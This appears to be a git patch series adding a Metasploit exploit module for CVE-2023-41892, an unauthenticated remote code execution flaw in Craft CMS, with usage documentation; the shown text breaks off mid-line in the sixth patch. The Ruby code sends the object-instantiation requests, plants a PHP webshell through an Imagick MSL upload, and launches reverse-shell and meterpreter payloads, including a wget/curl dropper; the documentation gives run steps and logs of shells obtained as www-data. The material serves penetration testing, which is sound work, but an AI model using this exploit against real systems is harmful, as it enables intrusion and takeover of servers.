From ff449321134b25d175ab9aba3e5a57fa53f2632b Mon Sep 17 00:00:00 2001 From: h00die-gr3y Date: Sun, 10 Dec 2023 21:09:40 +0000 Subject: [PATCH 1/7] first draft release of module --- .../craftcms_unauth_rce_cve_2023_41892.rb | 264 ++++++++++++++++++ 1 file changed, 264 insertions(+) create mode 100644 modules/exploits/linux/http/craftcms_unauth_rce_cve_2023_41892.rb diff --git a/modules/exploits/linux/http/craftcms_unauth_rce_cve_2023_41892.rb b/modules/exploits/linux/http/craftcms_unauth_rce_cve_2023_41892.rb new file mode 100644 index 000000000000..588419578906 --- /dev/null +++ b/modules/exploits/linux/http/craftcms_unauth_rce_cve_2023_41892.rb @@ -0,0 +1,264 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager + include Msf::Exploit::FileDropper + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Craft CMS unauthenticated Remote Code Execution (RCE)', + 'Description' => %q{ + This module exploits Remote Code Execution vulnerability (CVE-2023-41892) in Craft CMS which is a popular + content management system. Craft CMS versions between 4.0.0-RC1 - 4.4.14 are affected by this vulnerability + allowing attackers to execute arbitrary code remotely, potentially compromising the security and integrity + of the application. + + The vulnerability occurs using a PHP object creation in the `\craft\controllers\ConditionsController` class + which allows to run arbitary PHP code by escalating the object creation calling some methods available in + `\GuzzleHttp\Psr7\FnStream`. Using this vulnerability in combination with The Imagick Extension and MSL which + stands for Magick Scripting Language, a full RCE can be achieved. MSL is a built-in ImageMagick language that + facilitates the reading of images, performance of image processing tasks, and writing of results back + to the filesystem. This can be leveraged to create a dummy image containing mailcious PHP code using the + Imagick constructor class delivering a webshell that can be accessed by the attacker, thereby executing the + malicious PHP code and gaining access to the system. + + Because of this, any remote attacker, without authentication, can exploit this vulnerability to gain + access to the underlying operating system as the user that the web services are running as (typically www-data). + }, + 'Author' => [ + 'chybeta', # discovery + 'h00die-gr3y ' # Metasploit module + ], + 'References' => [ + [ 'CVE', '2023-41892' ], + [ 'URL', 'https://blog.calif.io/p/craftcms-rce' ], + [ 'URL', 'https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/' ], + [ 'URL', 'https://github.com/advisories/GHSA-4w8r-3xrw-v25g' ], + [ 'URL', 'https://attackerkb.com/topics/E486ui94II/cve-2023-41892' ], + ], + 'License' => MSF_LICENSE, + 'Platform' => [ 'unix', 'linux', 'php' ], + 'Privileged' => false, + 'Arch' => [ ARCH_CMD, ARCH_PHP, ARCH_X64, ARCH_X86 ], + 'Targets' => [ + [ + 'PHP', + { + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Type' => :php, + 'DefaultOptions' => { + 'PAYLOAD' => 'php/meterpreter/reverse_tcp' + } + } + ], + [ + 'Unix Command', + { + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Type' => :unix_cmd, + 'DefaultOptions' => { + 'PAYLOAD' => 'cmd/unix/reverse_bash' + } + } + ], + [ + 'Linux Dropper', + { + 'Platform' => 'linux', + 'Arch' => [ ARCH_X64, ARCH_X86 ], + 'Type' => :linux_dropper, + 'CmdStagerFlavor' => [ 'wget', 'curl', 'printf', 'echo', 'bourne' ], + 'DefaultOptions' => { + 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' + } + } + ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => '2023-09-13', + 'DefaultOptions' => { + 'SSL' => true, + 'RPORT' => 443 + }, + 'Notes' => { + 'Stability' => [ CRASH_SAFE ], + 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ], + 'Reliability' => [ REPEATABLE_SESSION ] + } + ) + ) + register_options( + [ + OptString.new('TARGETURI', [ true, 'Craft CMS base url', '/' ]), + OptString.new('WEBSHELL', [ + false, 'The name of the webshell with extension .php. Webshell name will be randomly generated if left unset.', '' + ]), + OptEnum.new('COMMAND', [ true, 'Use PHP command function', 'passthru', [ 'passthru', 'shell_exec', 'system', 'exec' ]], conditions: %w[TARGET != 0]) + ] + ) + end + + def check_phpinfo + # checks vulnerability running phpinfo() and returns upload_tmp_dir and DOCUMENT_ROOT + @config = { 'upload_tmp_dir' => nil, 'document_root' => nil } + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(datastore['TARGETURI']), + 'ctype' => 'application/x-www-form-urlencoded', + 'vars_post' => { + 'action' => 'conditions/render', + 'configObject[class]' => 'craft\elements\conditions\ElementCondition', + 'config' => '{"name":"configObject","as ":{"class":"\\\GuzzleHttp\\\Psr7\\\FnStream", "__construct()":{"methods":{"close":"phpinfo"}}}}' + } + }) + if res && res.body + # parse HTML to find the upload directory and the document root provided by phpinfo command output + html = res.get_html_document + if @config['upload_tmp_dir'].nil? || @config['document_root'].nil? + tr_items = html.css('tr td') + tr_items.each_with_index do |item, i| + if item.text =~ /upload_tmp_dir/i + if tr_items[i + 1].text =~ /no value/i + @config['upload_tmp_dir'] = '/tmp' + else + @config['upload_tmp_dir'] = tr_items[i + 1].text.strip + end + end + @config['document_root'] = tr_items[i + 1].text.strip if item.text =~ /\$_SERVER\['DOCUMENT_ROOT'\]/i + end + end + print_status(@config.to_s) + end + end + + def upload_webshell + # randomize file name if option WEBSHELL is not set + if datastore['WEBSHELL'].blank? + @webshell_name = "#{Rex::Text.rand_text_alpha(8..16)}.php" + else + @webshell_name = datastore['WEBSHELL'].to_s + end + + # select webshell depending on the target setting (PHP or others). + @post_param = Rex::Text.rand_text_alphanumeric(1..8) + @get_param = Rex::Text.rand_text_alphanumeric(1..8) + + if target['Type'] == :php + # create the MSL payload + # payload = "" + payload = <<~EOS + + + + + + EOS + else + # create the MSL payload + # payload = "" + payload = <<~EOS + + + + + + EOS + end + + # construct multipart form data with Imagick MSL payload + form_data = Rex::MIME::Message.new + form_data.add_part('conditions/render', nil, nil, 'form-data; name="action"') + form_data.add_part('craft\elements\conditions\ElementCondition', nil, nil, 'form-data; name="configObject[class]"') + form_data.add_part('{"name":"configObject","as ":{"class":"Imagick", "__construct()":{"files":"msl:/etc/passwd"}}}', nil, nil, 'form-data; name="config"') + form_data.add_part(payload, 'text/plain', nil, "form-data; name=\"#{Rex::Text.rand_text_alpha(4..8)}\"; filename=\"#{Rex::Text.rand_text_alpha(4..8)}.msl\"") + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(datastore['TARGETURI']), + 'ctype' => "multipart/form-data; boundary=#{form_data.bound}", + 'data' => form_data.to_s + }) + if res && res.code == 502 + # code 502 indicates a successful upload of the MSL payload in upload_tmp_dir (default /tmp unless specified in php.ini) + # next step is to generate the webshell in DOCUMENT_ROOT by executing the Imagick MSL payload + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(datastore['TARGETURI']), + 'ctype' => 'application/x-www-form-urlencoded', + 'vars_post' => { + 'action' => 'conditions/render', + 'configObject[class]' => 'craft\elements\conditions\ElementCondition', + 'config' => "{\"name\":\"configObject\",\"as \":{\"class\":\"Imagick\", \"__construct()\":{\"files\":\"vid:msl:#{@config['upload_tmp_dir']}/php*\"}}}" + } + }) + # code 502 indicates a successful generation of the webshell in DOCUMENT_ROOT + return true if res && res.code == 502 + end + false + end + + def execute_php(cmd, _opts = {}) + payload = Base64.strict_encode64(cmd) + return send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(datastore['TARGETURI'], @webshell_name), + 'ctype' => 'application/x-www-form-urlencoded', + 'vars_post' => { + @post_param => payload + } + }) + end + + def execute_command(cmd, _opts = {}) + payload = Base64.strict_encode64(cmd) + php_cmd_function = datastore['COMMAND'] + return send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(datastore['TARGETURI'], @webshell_name), + 'ctype' => 'application/x-www-form-urlencoded', + 'vars_get' => { + @get_param => php_cmd_function + }, + 'vars_post' => { + @post_param => payload + } + }) + end + + def check + check_phpinfo + return CheckCode::Appears unless @config['upload_tmp_dir'].nil? || @config['document_root'].nil? + + CheckCode::Safe + end + + def exploit + # check if upload_tmp_dir and document_root is already set from the check method otherwise try to get this info. + check_phpinfo unless datastore['AutoCheck'] + fail_with(Failure::NotVulnerable, 'Could not get required phpinfo. System is likely patched.') if @config['upload_tmp_dir'].nil? || @config['document_root'].nil? + fail_with(Failure::UnexpectedReply, "Webshell #{@webshell_name} upload failed.") unless upload_webshell + register_files_for_cleanup(@webshell_name.to_s) + + print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") + case target['Type'] + when :php + execute_php(payload.encoded) + when :unix_cmd + execute_command(payload.encoded) + when :linux_dropper + execute_cmdstager(linemax: 32768) + end + end +end From d00249f08349b8eb2c4d1c4af59d930deb5e173e Mon Sep 17 00:00:00 2001 From: h00die-gr3y Date: Thu, 14 Dec 2023 12:57:07 +0000 Subject: [PATCH 2/7] Second release with manual cleanup of php* files --- .../craftcms_unauth_rce_cve_2023_41892.rb | 27 ++++++++++++++++++- 1 file changed, 26 insertions(+), 1 deletion(-) diff --git a/modules/exploits/linux/http/craftcms_unauth_rce_cve_2023_41892.rb b/modules/exploits/linux/http/craftcms_unauth_rce_cve_2023_41892.rb index 588419578906..41ac6f9e1840 100644 --- a/modules/exploits/linux/http/craftcms_unauth_rce_cve_2023_41892.rb +++ b/modules/exploits/linux/http/craftcms_unauth_rce_cve_2023_41892.rb @@ -237,6 +237,32 @@ def execute_command(cmd, _opts = {}) }) end + def on_new_session(session) + # cleanup webshell in DOCUMENT_ROOT + register_files_for_cleanup("#{@config['document_root']}/#{@webshell_name}") + + # Imagick plugin generates a php file with MSL code in the directory set by + # the PHP ini setting "upload_tmp_dir". This file gets executed to generate the webshell. + # A manual cleanup procedure is required to identify and remove the php* files when the session is established. + if session.type == 'meterpreter' + session.fs.dir.chdir(@config['upload_tmp_dir'].to_s) + clean_files = session.fs.dir.entries + unless clean_files.nil? || clean_files.empty? + clean_files.each do |f| + register_files_for_cleanup("#{@config['upload_tmp_dir']}/#{f}") if f.match(/php+/) + end + end + else + clean_files = session.shell_command_token("ls #{@config['upload_tmp_dir']}/php*") + unless clean_files.nil? || clean_files.empty? + clean_files.split(' ').each do |f| + register_files_for_cleanup(f.to_s) + end + end + end + super + end + def check check_phpinfo return CheckCode::Appears unless @config['upload_tmp_dir'].nil? || @config['document_root'].nil? @@ -249,7 +275,6 @@ def exploit check_phpinfo unless datastore['AutoCheck'] fail_with(Failure::NotVulnerable, 'Could not get required phpinfo. System is likely patched.') if @config['upload_tmp_dir'].nil? || @config['document_root'].nil? fail_with(Failure::UnexpectedReply, "Webshell #{@webshell_name} upload failed.") unless upload_webshell - register_files_for_cleanup(@webshell_name.to_s) print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") case target['Type'] From db099f8f4ce235dc253cc015baf6d114717909ca Mon Sep 17 00:00:00 2001 From: h00die-gr3y Date: Sat, 16 Dec 2023 16:06:05 +0000 Subject: [PATCH 3/7] Third release of module --- .../craftcms_unauth_rce_cve_2023_41892.rb | 33 +++++++++---------- 1 file changed, 15 insertions(+), 18 deletions(-) diff --git a/modules/exploits/linux/http/craftcms_unauth_rce_cve_2023_41892.rb b/modules/exploits/linux/http/craftcms_unauth_rce_cve_2023_41892.rb index 41ac6f9e1840..12f7f4726aa0 100644 --- a/modules/exploits/linux/http/craftcms_unauth_rce_cve_2023_41892.rb +++ b/modules/exploits/linux/http/craftcms_unauth_rce_cve_2023_41892.rb @@ -43,7 +43,7 @@ def initialize(info = {}) [ 'URL', 'https://blog.calif.io/p/craftcms-rce' ], [ 'URL', 'https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/' ], [ 'URL', 'https://github.com/advisories/GHSA-4w8r-3xrw-v25g' ], - [ 'URL', 'https://attackerkb.com/topics/E486ui94II/cve-2023-41892' ], + [ 'URL', 'https://attackerkb.com/topics/2u7OaYlv1M/cve-2023-41892' ], ], 'License' => MSF_LICENSE, 'Platform' => [ 'unix', 'linux', 'php' ], @@ -126,17 +126,19 @@ def check_phpinfo if res && res.body # parse HTML to find the upload directory and the document root provided by phpinfo command output html = res.get_html_document - if @config['upload_tmp_dir'].nil? || @config['document_root'].nil? + unless html.blank? tr_items = html.css('tr td') tr_items.each_with_index do |item, i| - if item.text =~ /upload_tmp_dir/i - if tr_items[i + 1].text =~ /no value/i + next if tr_items[i + 1].nil? + + if item.text.casecmp?('upload_tmp_dir') + if tr_items[i + 1].text.casecmp?('no value') @config['upload_tmp_dir'] = '/tmp' else @config['upload_tmp_dir'] = tr_items[i + 1].text.strip end end - @config['document_root'] = tr_items[i + 1].text.strip if item.text =~ /\$_SERVER\['DOCUMENT_ROOT'\]/i + @config['document_root'] = tr_items[i + 1].text.strip if item.text.casecmp?('$_SERVER[\'DOCUMENT_ROOT\']') end end print_status(@config.to_s) @@ -181,7 +183,7 @@ def upload_webshell form_data = Rex::MIME::Message.new form_data.add_part('conditions/render', nil, nil, 'form-data; name="action"') form_data.add_part('craft\elements\conditions\ElementCondition', nil, nil, 'form-data; name="configObject[class]"') - form_data.add_part('{"name":"configObject","as ":{"class":"Imagick", "__construct()":{"files":"msl:/etc/passwd"}}}', nil, nil, 'form-data; name="config"') + form_data.add_part('{"name":"configObject","as ":{"class":"Imagick", "__construct()":{"files":"msl:/dev/null"}}}', nil, nil, 'form-data; name="config"') form_data.add_part(payload, 'text/plain', nil, "form-data; name=\"#{Rex::Text.rand_text_alpha(4..8)}\"; filename=\"#{Rex::Text.rand_text_alpha(4..8)}.msl\"") res = send_request_cgi({ @@ -204,7 +206,7 @@ def upload_webshell } }) # code 502 indicates a successful generation of the webshell in DOCUMENT_ROOT - return true if res && res.code == 502 + return res&.code == 502 end false end @@ -247,17 +249,12 @@ def on_new_session(session) if session.type == 'meterpreter' session.fs.dir.chdir(@config['upload_tmp_dir'].to_s) clean_files = session.fs.dir.entries - unless clean_files.nil? || clean_files.empty? - clean_files.each do |f| - register_files_for_cleanup("#{@config['upload_tmp_dir']}/#{f}") if f.match(/php+/) - end - end else - clean_files = session.shell_command_token("ls #{@config['upload_tmp_dir']}/php*") - unless clean_files.nil? || clean_files.empty? - clean_files.split(' ').each do |f| - register_files_for_cleanup(f.to_s) - end + clean_files = session.shell_command_token("cd #{@config['upload_tmp_dir']};ls php*").split(' ') + end + unless clean_files.blank? + clean_files.each do |f| + register_files_for_cleanup("#{@config['upload_tmp_dir']}/#{f}") if f.match(/^php+/) end end super @@ -271,7 +268,7 @@ def check end def exploit - # check if upload_tmp_dir and document_root is already set from the check method otherwise try to get this info. + # check if upload_tmp_dir and document_root is already initialized with AutoCheck set otherwise run check_phpinfo check_phpinfo unless datastore['AutoCheck'] fail_with(Failure::NotVulnerable, 'Could not get required phpinfo. System is likely patched.') if @config['upload_tmp_dir'].nil? || @config['document_root'].nil? fail_with(Failure::UnexpectedReply, "Webshell #{@webshell_name} upload failed.") unless upload_webshell From 0641839e6921407a0f77d65303a833dbb518f9ed Mon Sep 17 00:00:00 2001 From: h00die-gr3y Date: Sun, 17 Dec 2023 13:10:18 +0000 Subject: [PATCH 4/7] Added documentation and removed debug info --- .../craftcms_unauth_rce_cve_2023_41892.md | 234 ++++++++++++++++++ .../craftcms_unauth_rce_cve_2023_41892.rb | 1 - 2 files changed, 234 insertions(+), 1 deletion(-) create mode 100644 documentation/modules/exploit/linux/http/craftcms_unauth_rce_cve_2023_41892.md diff --git a/documentation/modules/exploit/linux/http/craftcms_unauth_rce_cve_2023_41892.md b/documentation/modules/exploit/linux/http/craftcms_unauth_rce_cve_2023_41892.md new file mode 100644 index 000000000000..9202cdd08d53 --- /dev/null +++ b/documentation/modules/exploit/linux/http/craftcms_unauth_rce_cve_2023_41892.md @@ -0,0 +1,234 @@ +## Vulnerable Application +This module exploits Remote Code Execution vulnerability (CVE-2023-41892) in CraftCMS which is a popular content management system. +CraftCMS versions between `4.0.0-RC1` - `4.4.14` are affected by this vulnerability allowing attackers to execute arbitrary code remotely, +potentially compromising the security and integrity of the application. + +The vulnerability occurs using a PHP object creation in the `\craft\controllers\ConditionsController` class which allows to run arbitrary +PHP code by escalating the object creation calling some methods available in `\GuzzleHttp\Psr7\FnStream`. +Using this vulnerability in combination with `The Imagick Extension` and `MSL` which stands for `Magick Scripting Language`, +a full RCE can be achieved. `MSL` is a built-in `ImageMagick` language that facilitates the reading of images, performance of +image processing tasks, and writing of results back to the filesystem. This can be leveraged to create a dummy image containing malicious +PHP code using the `Imagick` constructor class delivering a webshell that can be accessed by the attacker, thereby executing the malicious +PHP code and gaining access to the system. +Because of this, any remote attacker, without authentication, can exploit this vulnerability to gain access to the underlying operating +system as the user that the web services are running as (typically `www-data`). + +## Installation +To test this module, you will need a vulnerable CraftCMS application. + +This module has been tested on: +- [ ] `CraftCMS 4.4.14` running on MacOS Docker Desktop based on a `DDEV` deployment. + +### Installation steps to install CraftCMS on MacOS using Desktop Dockeer and DDEV +* Install [Docker Desktop](https://ddev.readthedocs.io/en/stable/users/install/docker-installation/#macos) on your MacOS distribution. +* Install [DDEV](https://ddev.readthedocs.io/en/stable/users/install/ddev-installation/). +* Install CraftCMS following these [installation steps](https://craftcms.com/docs/getting-started-tutorial/install/). +* NOTE: After step 2 `Scaffold the project from the official starter project`, open composer.json to edit the CraftCMS version and +* set it to `4.4.14` or lower. +* Run `composer update` to downgrade the `CraftCMS` version to a vulnerable version. +* See also these [instructions](https://craftcms.com/knowledge-base/downloading-previous-craft-versions). + +* Continue with step 3 and after completion, you should be able to access your application using your site name (https://mysite.ddev.site) +* To access your application from another host, you need to setup a tunnel otherwise you can only access it from the local machine. +* You can follow these [instructions](https://stackoverflow.com/questions/53371087/access-ddev-web-container-from-other-hosts). + +You are now ready to test the module. + +## Verification Steps +- [x] Start `msfconsole` +- [x] `use exploit/linux/http/craftcms_unauth_rce_cve_2023_41892` +- [x] `set rhosts ` +- [x] `set rport 443` +- [x] `set lhost ` +- [x] `set target <0=php, 1=Unix Command, 2=Linux Dropper>` +- [x] `exploit` + +you should get a `shell` or `Meterpreter` + + +```shell +msf6 exploit(linux/http/craftcms_unauth_rce_cve_2023_41892) > info + + Name: Craft CMS unauthenticated Remote Code Execution (RCE) + Module: exploit/linux/http/craftcms_unauth_rce_cve_2023_41892 + Platform: Unix, Linux, PHP + Arch: cmd, php, x64, x86 + Privileged: No + License: Metasploit Framework License (BSD) + Rank: Excellent + Disclosed: 2023-09-13 + +Provided by: + chybeta + h00die-gr3y + +Module side effects: + artifacts-on-disk + ioc-in-logs + +Module stability: + crash-safe + +Module reliability: + repeatable-session + +Available targets: + Id Name + -- ---- + => 0 PHP + 1 Unix Command + 2 Linux Dropper + +Check supported: + Yes + +Basic options: + Name Current Setting Required Description + ---- --------------- -------- ----------- + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.ht + ml + RPORT 443 yes The target port (TCP) + SSL true no Negotiate SSL/TLS for outgoing connections + SSLCert no Path to a custom SSL certificate (default is randomly generated) + TARGETURI / yes Craft CMS base url + URIPATH no The URI to use for this exploit (default is random) + VHOST no HTTP server virtual host + WEBSHELL no The name of the webshell with extension .php. Webshell name will be randomly generated if left unset + . + + + When TARGET is not 0: + + Name Current Setting Required Description + ---- --------------- -------- ----------- + COMMAND passthru yes Use PHP command function (Accepted: passthru, shell_exec, system, exec) + + + When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http: + + Name Current Setting Required Description + ---- --------------- -------- ----------- + SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0. + 0.0 to listen on all addresses. + SRVPORT 8080 yes The local port to listen on. + +Payload information: + +Description: + This module exploits Remote Code Execution vulnerability (CVE-2023-41892) in Craft CMS which is a popular + content management system. Craft CMS versions between 4.0.0-RC1 - 4.4.14 are affected by this vulnerability + allowing attackers to execute arbitrary code remotely, potentially compromising the security and integrity + of the application. + + The vulnerability occurs using a PHP object creation in the `\craft\controllers\ConditionsController` class + which allows to run arbitary PHP code by escalating the object creation calling some methods available in + `\GuzzleHttp\Psr7\FnStream`. Using this vulnerability in combination with The Imagick Extension and MSL which + stands for Magick Scripting Language, a full RCE can be achieved. MSL is a built-in ImageMagick language that + facilitates the reading of images, performance of image processing tasks, and writing of results back + to the filesystem. This can be leveraged to create a dummy image containing mailcious PHP code using the + Imagick constructor class delivering a webshell that can be accessed by the attacker, thereby executing the + malicious PHP code and gaining access to the system. + + Because of this, any remote attacker, without authentication, can exploit this vulnerability to gain + access to the underlying operating system as the user that the web services are running as (typically www-data). + +References: + https://nvd.nist.gov/vuln/detail/CVE-2023-41892 + https://blog.calif.io/p/craftcms-rce + https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/ + https://github.com/advisories/GHSA-4w8r-3xrw-v25g + https://attackerkb.com/topics/2u7OaYlv1M/cve-2023-41892 + + +View the full module info with the info -d command. +``` + +## Options +### WEBSHELL +You can use this option to set the filename of the webshell with extension `.php`, otherwise the name will be randomly generated. + +### COMMAND +This option provides the user to choose the PHP underlying shell command function to be used for execution. +The choices are `system()`, `passthru()`, `shell_exec()` and `exec()` and it defaults to `passthru()`. +This option is only available when the target selected is either Unix Command or Linux Dropper. +For the native PHP target, by default the `eval()` function will be used for native PHP code execution. + +## Scenarios +### CraftCMS 4.4.14 on MacOS PHP - php/meterpreter/reverse_tcp +```shell +msf6 exploit(linux/http/craftcms_unauth_rce_cve_2023_41892) > exploit + +[*] Started reverse TCP handler on 192.168.201.8:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. +[*] Executing PHP for php/meterpreter/reverse_tcp +[*] Sending stage (39927 bytes) to 192.168.201.25 +[+] Deleted /var/www/html/web/CDfbvAnrZMH.php +[+] Deleted /tmp/php5M63PK +[*] Meterpreter session 1 opened (192.168.201.8:4444 -> 192.168.201.25:51044) at 2023-12-17 12:31:55 +0000 + +meterpreter > sysinfo +Computer : craftcms-vuln-web +OS : Linux craftcms-vuln-web 6.4.16-linuxkit #1 SMP PREEMPT_DYNAMIC Thu Nov 16 10:55:59 UTC 2023 x86_64 +Meterpreter : php/linux +meterpreter > getuid +Server username: www-data +meterpreter > +``` +### CraftCMS 4.4.14 on MacOS Unix Command - cmd/unix/reverse_bash +```shell +msf6 exploit(linux/http/craftcms_unauth_rce_cve_2023_41892) > set target 1 +target => 1 +msf6 exploit(linux/http/craftcms_unauth_rce_cve_2023_41892) > exploit + +[*] Started reverse TCP handler on 192.168.201.8:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] {"upload_tmp_dir"=>"/tmp", "document_root"=>"/var/www/html/web"} +[+] The target appears to be vulnerable. +[*] Executing Unix Command for cmd/unix/reverse_bash +[+] Deleted /var/www/html/web/XGCuZFdoia.php +[+] Deleted /tmp/phpakTlmu +[*] Command shell session 2 opened (192.168.201.8:4444 -> 192.168.201.25:51101) at 2023-12-17 12:34:34 +0000 + +uname -a +Linux craftcms-vuln-web 6.4.16-linuxkit #1 SMP PREEMPT_DYNAMIC Thu Nov 16 10:55:59 UTC 2023 x86_64 GNU/Linux +id +uid=501(www-data) gid=20(dialout) groups=20(dialout) +``` +### CraftCMS 4.4.14 on MacOS Linux Dropper - linux/x64/meterpreter/reverse_tcp +```shell +msf6 exploit(linux/http/craftcms_unauth_rce_cve_2023_41892) > set target 2 +target => 2 +msf6 exploit(linux/http/craftcms_unauth_rce_cve_2023_41892) > exploit + +[*] Started reverse TCP handler on 192.168.201.8:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] {"upload_tmp_dir"=>"/tmp", "document_root"=>"/var/www/html/web"} +[+] The target appears to be vulnerable. +[*] Executing Linux Dropper for linux/x64/meterpreter/reverse_tcp +[*] Using URL: http://192.168.201.8:8080/bzzA52uoIqWP +[*] Client 192.168.201.25 (Wget/1.21) requested /bzzA52uoIqWP +[*] Sending payload to 192.168.201.25 (Wget/1.21) +[*] Sending stage (3045380 bytes) to 192.168.201.25 +[+] Deleted /var/www/html/web/sFQEhvKKcl.php +[+] Deleted /tmp/phpeQPKpy +[*] Meterpreter session 3 opened (192.168.201.8:4444 -> 192.168.201.25:51122) at 2023-12-17 12:35:54 +0000 +[*] Command Stager progress - 100.00% done (118/118 bytes) +[*] Server stopped. + +meterpreter > sysinfo +Computer : 192.168.16.2 +OS : Debian 11.8 (Linux 6.4.16-linuxkit) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > getuid +Server username: www-data +meterpreter > +``` +## Limitations +Part of the exploit is the MSL script creation triggered by the Imagick plugin module. These files are created in the directory +set by the `upload_tmp_dir` setting in the `php.ini` file (default `/tmp`). These files are automatically cleaned, but in case of +any failure cleaning these files, do clean them manually otherwise the next exploit session will fail using an outdated MSL file. +These files start with `php` and you can list them with the command `ls php*`. diff --git a/modules/exploits/linux/http/craftcms_unauth_rce_cve_2023_41892.rb b/modules/exploits/linux/http/craftcms_unauth_rce_cve_2023_41892.rb index 12f7f4726aa0..72d159e613c3 100644 --- a/modules/exploits/linux/http/craftcms_unauth_rce_cve_2023_41892.rb +++ b/modules/exploits/linux/http/craftcms_unauth_rce_cve_2023_41892.rb @@ -141,7 +141,6 @@ def check_phpinfo @config['document_root'] = tr_items[i + 1].text.strip if item.text.casecmp?('$_SERVER[\'DOCUMENT_ROOT\']') end end - print_status(@config.to_s) end end From 9ac37396059939d41b7c3c94ddb3efc55923d71c Mon Sep 17 00:00:00 2001 From: h00die-gr3y Date: Sun, 17 Dec 2023 13:51:30 +0000 Subject: [PATCH 5/7] Minor changes to the documentation --- .../exploit/linux/http/craftcms_unauth_rce_cve_2023_41892.md | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) diff --git a/documentation/modules/exploit/linux/http/craftcms_unauth_rce_cve_2023_41892.md b/documentation/modules/exploit/linux/http/craftcms_unauth_rce_cve_2023_41892.md index 9202cdd08d53..25493ab5f878 100644 --- a/documentation/modules/exploit/linux/http/craftcms_unauth_rce_cve_2023_41892.md +++ b/documentation/modules/exploit/linux/http/craftcms_unauth_rce_cve_2023_41892.md @@ -184,7 +184,6 @@ msf6 exploit(linux/http/craftcms_unauth_rce_cve_2023_41892) > exploit [*] Started reverse TCP handler on 192.168.201.8:4444 [*] Running automatic check ("set AutoCheck false" to disable) -[*] {"upload_tmp_dir"=>"/tmp", "document_root"=>"/var/www/html/web"} [+] The target appears to be vulnerable. [*] Executing Unix Command for cmd/unix/reverse_bash [+] Deleted /var/www/html/web/XGCuZFdoia.php @@ -194,8 +193,7 @@ msf6 exploit(linux/http/craftcms_unauth_rce_cve_2023_41892) > exploit uname -a Linux craftcms-vuln-web 6.4.16-linuxkit #1 SMP PREEMPT_DYNAMIC Thu Nov 16 10:55:59 UTC 2023 x86_64 GNU/Linux id -uid=501(www-data) gid=20(dialout) groups=20(dialout) -``` +uid=501(www-data) gid=20(dialout) groups=20(dialout)``` ### CraftCMS 4.4.14 on MacOS Linux Dropper - linux/x64/meterpreter/reverse_tcp ```shell msf6 exploit(linux/http/craftcms_unauth_rce_cve_2023_41892) > set target 2 @@ -204,7 +202,6 @@ msf6 exploit(linux/http/craftcms_unauth_rce_cve_2023_41892) > exploit [*] Started reverse TCP handler on 192.168.201.8:4444 [*] Running automatic check ("set AutoCheck false" to disable) -[*] {"upload_tmp_dir"=>"/tmp", "document_root"=>"/var/www/html/web"} [+] The target appears to be vulnerable. [*] Executing Linux Dropper for linux/x64/meterpreter/reverse_tcp [*] Using URL: http://192.168.201.8:8080/bzzA52uoIqWP From 5d7cf90521a70f7e225fad875be01d3f04cd1d68 Mon Sep 17 00:00:00 2001 From: h00die-gr3y Date: Mon, 18 Dec 2023 08:23:16 +0000 Subject: [PATCH 6/7] Some minor changes to the module and documentation --- .../linux/http/craftcms_unauth_rce_cve_2023_41892.md | 2 +- .../linux/http/craftcms_unauth_rce_cve_2023_41892.rb | 8 ++++---- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/documentation/modules/exploit/linux/http/craftcms_unauth_rce_cve_2023_41892.md b/documentation/modules/exploit/linux/http/craftcms_unauth_rce_cve_2023_41892.md index 25493ab5f878..ed9617980501 100644 --- a/documentation/modules/exploit/linux/http/craftcms_unauth_rce_cve_2023_41892.md +++ b/documentation/modules/exploit/linux/http/craftcms_unauth_rce_cve_2023_41892.md @@ -19,7 +19,7 @@ To test this module, you will need a vulnerable CraftCMS application. This module has been tested on: - [ ] `CraftCMS 4.4.14` running on MacOS Docker Desktop based on a `DDEV` deployment. -### Installation steps to install CraftCMS on MacOS using Desktop Dockeer and DDEV +### Installation steps to install CraftCMS on MacOS using Desktop Docker and DDEV * Install [Docker Desktop](https://ddev.readthedocs.io/en/stable/users/install/docker-installation/#macos) on your MacOS distribution. * Install [DDEV](https://ddev.readthedocs.io/en/stable/users/install/ddev-installation/). * Install CraftCMS following these [installation steps](https://craftcms.com/docs/getting-started-tutorial/install/). diff --git a/modules/exploits/linux/http/craftcms_unauth_rce_cve_2023_41892.rb b/modules/exploits/linux/http/craftcms_unauth_rce_cve_2023_41892.rb index 72d159e613c3..049ad17f8393 100644 --- a/modules/exploits/linux/http/craftcms_unauth_rce_cve_2023_41892.rb +++ b/modules/exploits/linux/http/craftcms_unauth_rce_cve_2023_41892.rb @@ -23,11 +23,11 @@ def initialize(info = {}) of the application. The vulnerability occurs using a PHP object creation in the `\craft\controllers\ConditionsController` class - which allows to run arbitary PHP code by escalating the object creation calling some methods available in + which allows to run arbitrary PHP code by escalating the 